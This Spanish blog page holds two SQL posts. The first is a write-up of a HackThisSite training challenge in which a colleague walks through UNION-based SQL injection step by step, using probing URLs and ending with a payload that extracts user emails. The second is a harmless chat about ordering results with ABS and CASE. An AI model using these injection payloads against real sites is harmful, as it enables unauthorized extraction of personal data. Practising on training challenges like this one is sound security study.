Mostrando entradas con la etiqueta sql. Mostrar todas las entradas
Mostrando entradas con la etiqueta sql. Mostrar todas las entradas

martes, 2 de octubre de 2007

Ejemplo práctico de inyección SQL con UNION

El siguiente texto es una especie de cuaderno de bitácora de mi compi de curro - y de otras cosas que no voy a decir - Sponge Bob.
Es un spoiler total de una de las pruebas de http://www.hackthissite.org/, pero se ha cambiado la URL para que las arañitas de google no les sirvan en bandeja la solución a la gente que está haciendo las pruebas.

Sponge Bob dixit:


Esta misión ya se realizó en su momento, por lo parte de las acciones que realizo tienen como origen cosas que recuerdo que hice en su momento.

En primer lugar, recuerdo que products.php era sensible a injecciones SQL, usando un UNION.


http://www.hacking.org/missions/products.php?category=2+union+select+1

La siguiente injección me devuelve una única entrada sin información, cuando la categoría '2' contiene 3 productos. La consulta que se debe hacer en products.php debe ser algo del estilo
SELECT * FROM products WHERE category = 2
Dicha consulta deberá retornar X elementos y para que el código que injerto tenga éxito deberá retornar el mismo número de elemento.

Probemos....

http://www.hacking.org/missions/products.php?category=2+union+select+1,2

Mismo resultado.

http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3

Mismo resultado.

http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4

Bien. Aquí ya se devuelve 4 entradas, posiblemente los 3 productos en el resultado de mi injerto. Sin embargo no aparece ningún tipo de información, fotos, precios, descripción. Es posible que a mi injerto le falte algún tipo de información. La sentencia SQL original podría ser algo así...
SELECT id, price, description, picture FROM products WHERE category = 2

Por si acaso, también probamos con el siguiente injerto

http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4,5

En este caso, se vuelve a mostrar una única entrada, lo cuál parece reforzar el hecho de que la sentencia SQL devuelve 4 campos.

Suponiendo que la sentencia SQL original sea utilizada no por posición, sino por nombre (con el módulo de PHP MDB2 por ejemplo cuando se extraen los resultados puedes indicar que sea por columna: MDB2_FETCHMODE_ORDERED, por nombre: MDB2_FETCHMODE_ASSOC, o por objeto: MDB2_FETCHMODE_OBJECT) y presuponiendo que uno de los campos usado sea el campo clave (al cual normalmente se le llama id) ejecutamos la siguiente sentencia...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2,3,4,5

Mmmmm, ¡han aparecido las fotos! Lo cual nos indica lo siguiente:
* Si miramos en el código html vemos que el nombre de la cada foto está relacionado con el 'id'. Así la foto 1.jpg está relacionada con el producto con id 1.

http://www.hacking.org/missions/1.jpg

* Si un campo en el injerto no tiene asignado nombre provoca que el campo en la sentencia original que ocupe el mismo puesto pierde su nombre de columna provocando que no aparezca la información correspodiente. Por ejemplo, con la siguiente sentencia

http://www.hacking.org/missions/products.php?category=2+union+select+1,2+as+id,3,4

sólo aparece la foto del elemento que se ha introducido en el injerto (2 as id) y no la de los elementos originales. Por tanto, en la sentencia original la primera columna es el id del producto.

Una aclaración: en este caso tampoco nos interesa mucho la colocación de los distintos atributos ya que lo que nos interesa en la información que podemos obtener con nuestro injerto y no la original.

Supongamos, ahora que el precio del producto tendrá como nombre de columna... no sé, ¿price? ;-)

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3,4

Bien, existe un campo price pero no está en la segunda posición. Da igual.

Supongamos que otro campo puede ser description, describiendo el producto

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+description,4

No se ha producido ningún cambio respecto a la sentencia anterior por tanto no es description.

A ver, también es cierto que no es necesario averiguar la estructura completa de la sentencia SQL original. Posiblemente a través del campo 'price' podamos sacar la información que necesitamos aunque también es posible que en la aplicación sólo manejen números o si maneja texto sea de una longitud muy limitada para nuestras necesidades. Para nuestras necesidades seguro que es más adecuado el campo que describe los productos...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+text,4

Biiien, ya tenemos el nombre del campo que describe los productos.

Lo que no queda claro es para que sirve el cuarto campo pero bueno tampoco parece que sea muy útil.

Como nota curiosa, el siguiente injerto

http://www.hacking.org/missions/products.php?category=2+union+select+2+as+price,1+as+id,3+as+text,4

produce que la foto se coloque en la imagen (ver código fuente) la descripción del producto y en la descripción del producto el id del producto, ¿alguna explicación?

Y si probamos a veriguar qué base de datos tenemos...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,@@version+as+text,3+as+price,4

Bueno, nos da error. Es posible que sea un mysql y no tengamos permisos de ejecución.

¿Dónde pueden estar las direcciones de correo? Si intentamos introducir como dirección de email el carácter "'" nos devuelve un informativo error:

http://www.hacking.org/missions/addemail.php?email='

Error inserting into table "email"! Email not valid! Please contact an administrator of Fischer's.

Por tanto, podemos probar a sacar el id de la tabla email...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+id+from+email+limit+1)+as+text,3+as+price,4

Nada, nos da error. La opción 'limit' no es estándar (gracias Pedro) y hay bases de datos como Oracle que no la soportan. Lo que deja claro el siguiente injerto es que se puede introducir subconsultas en el injerto

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+2)+as+text,3+as+price,4

Bien, hagamos una consulta a la tabla email, ¿qué campo puede contener el email de los usuarios? Probemos con 'email'

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,email+as+text,3+as+price,4+from+email

Bueno, bueno, bueno, ya tenemos los emails de los usuarios ahora habría que ver a quién se le manda.



Espero que a la gente de http://www.hackthissite.org/ no les moleste, este artículo se ha creado exclusivamente con fines didácticos y sin intención de joder a nadie ^_^

jueves, 5 de julio de 2007

Un problema de esecueles

Un dia en gtalk...

Jaime:
cambiando de tema. te propongo un problema de Ordenacion con sql a ver si lo sacas?
yo lo estoy meditando
creo que lo tengo

Pedro:
okis
pero yo estoy muy verde

Jaime:
SELECT id FROM tabla
1, 2, 3 ,4
SELECT id FROM tabla ORDER By Id
1, 2, 3, 4
Hadme una SQL para que de
2, 1, 3, 4

Pedro:
y supongo que no hay otro campo que nos permita ordenarlo con lógica, ¿no?

Jaime:
la logica es que van ordenados pero primero tiene que salir el registro 2
ordenados por id
solo tiene el campo id la tabla

Pedro:

¿¿??
te interesa el 2 y despues el resto?

Jaime:
sip
mis motivos tengo

Pedro:
okis, y porqué no sacas el 2 y despues el resto?
en plan subselect y punto?

Jaime:
con una select please :D
no
caca

Pedro:
lo sé

Jaime:
subselect ya sabes que caca

Pedro:
sipe
¿union?
lo sé kk

Minutos mas tarde...

Jaime:
te rindes?
la verda es que no se si sera mas obtimo :P
optimo

Pedro:
estoy pensando en group by y having
pero creo que necesitas de todas formas una subselect...

Jaime:
abs te suena ?

Pedro:
nope

Jaime:
valor absoluto de un numero

Pedro:
okis

Jaime:
SELECT *, ABS((id - 2)) AS CampoOrden FROM tabla ORDER BY CampoOrden
En mi caso ademas tengo que ordenar por id tambien
por motivos que no vienen al caso
como me mola SQL ;D

Pedro:
sipe, a mi me mola mucho
pero no termino de ver el ABS

Jaime:
id es unico
vale?

Pedro:
sipe
por cierto, eso es solo de transact estoy viendo
por eso no me sonaba con lo buueno que soy yo
;;-)
y oracle

Jaime:
1 - 2 = -1; Abs(-1) = 1
2 - 2 = 0; Abs(0) = 0
3 - 2 = 1; Abs(1) = 1

etc
lo ves?
el sql server se lo zampa

Pedro:
que guay, si señor

Jaime:
y el oracle seguro que tambien
ten en cuenta que las operaciones matematicas son demasiado indispensables para hacerlas solo con transact
sobre todo el abs

Minutos despues...

Pedro:
falsa alarma, el abs parece sql de pura cepa

Jaime:
ya te dije

Minutos despues...

Jaime:
y complicandolo un poco
si quires que salga primero el 2 luego el 3 y luego el 4 y despues los que quedan?
:D
2, 3, 4, ....
como me gusta bombardearte el cerebro
XD

Minutos despues...

Pedro:
¿no valdría unos cuantos "FIRST"?

Jaime:
?
no se
olvida 2, 3, 4
imagina 4, 2, 5
y despues el resto
tendrias que hacer 3 orders
con abs cada uno...
creo... XD
tampoco lo he pensao mucho

Pedro:
yo no creo que interesase ABS para eso

Jaime:
no?
como lo harias
lo de los 3 orders olvidalo
que no rularia....

Pedro:
SELECT FIRST(id+3), FIRST(id+1),FIRST(id+4) FROM ...

Jaime:
y te daria :
Servidor: mensaje 195, nivel 15, estado 10, línea 1
'FIRST' no es un nombre de función reconocido.
XD

Pedro:
¿¿??
http://www.w3schools.com/sql/func_first.asp

Jaime:
XD
mamon

Pedro:
¿por?
a ver si quieres que tenga todas las funciones en la cabeza
xDD

Jaime:
no rula en sql server

Pedro:
¿y el case?
creo que valdria
http://technet.microsoft.com/es-es/library/ms181765.aspx
de hecho creo que sería la mejor solución

Jaime:
?
estas fumao
XD
hadlo con case

Pedro:
siempre

Jaime:
a ver como lo haces
FIRST = TOP 1

Pedro:
sipe
es el mismo principio que con ABS pero no ordena el resto

Jaime:
pero tienes que hacer union
ein?
XD

Pedro:
no si lo haces con un group by...
... no westoy muuy seguro de eso

Jaime:

Si haces SELECT TOP 1 id FROM tabla
te da 1
no 2
estas mu oxidao

Pedro:
hay que ponerlo en el where

Jaime:
que jodio
XD
y union
XD

Pedro:
no deberías

Jaime:
????

Pedro:
por un lado lo del CASE:
en el linkl que te he mandado

Jaime:
pedro

Pedro:
SELECT ProductNumber, Category =
CASE ProductLine
WHEN 'R' THEN 'Road'
WHEN 'M' THEN 'Mountain'
WHEN 'T' THEN 'Touring'
WHEN 'S' THEN 'Other sale items'
ELSE 'Not for sale'
END,
Name
FROM Production.Product
ORDER BY ProductNumber;

Jaime:
dices barbaridades

Pedro:
¿eso no valdría?

Jaime:
como?
had la select para el ejemplo que te he puesto
piensalo
por dios

Pedro:
utilizas lo de ese ejemplo como alias para luego ordenarlo
si pienso no escribo
xDD

Jaime:
se nota
XD

Minutos despues...

Pedro:
SELECT id, ordenacion =
CASE id
WHEN 4 THEN 1
WHEN 2 THEN 2
WHEN 5 THEN 3
THEN 'Other sale items'
ELSE ABS(id+4)
FROM tabla
ORDER BY ordenacion;
habría que pdrobarlo y pulislo pero cfreo que valdría
de todas formas yo no sé transact
xD

Minutos despues...

Jaime:
claro
XD

Pedro:
no vale lo del case o qué?
mira que yo lo veo viable
xD

Jaime:
voy a probar
a ver
que me parece que hasta tienes razon

Pedro:
no te veo convencido
xD

Jaime:
no puedes hacerlo
o lo he hecho yo mal

Pedro:
yo diría que si que tiene que valer auqneu a lo mejor no exáctamente tal como lo he escrito
por cietrto otra forma de acerlo:
¿conoces el WITH de transact
y el ROWLOCK?

Jaime:
nop

Pedro:
promete, tu mientras ves mirando mi CASE
xD

Minutos despues...

Jaime:
mu guay el case
rula
te faltaba poner el end

Pedro:
soy el puto amo ^_^
xD
eso es porque mis comandos nunca terminan, se van a salvar a gatitos en los arboles cuando ya no se les necesita
xD

Jaime:
SELECT id, ordenacion =
CASE id
WHEN 4 THEN 1
WHEN 2 THEN 2
WHEN 5 THEN 3
ELSE ABS(id+4)
END
FROM tabla
ORDER BY ordenacion;
XD
esto es para poner un post :P

Pedro:
sipe, haz un copypaste ¿capado? del chat en finkalinux

Jaime:
pero creo sera mas rapido el abs para un solo resultado

Pedro:
^_^
seguro

Jaime:
me refiero para ordenar primero un registro

Pedro:
pero tu habías pedi 3 cabrón!!!

Jaime:
XD
pa 3 lo solucionaste tu
aunque te falto algo de sintaxis
XD

Pedro:
cerda!

Seguidores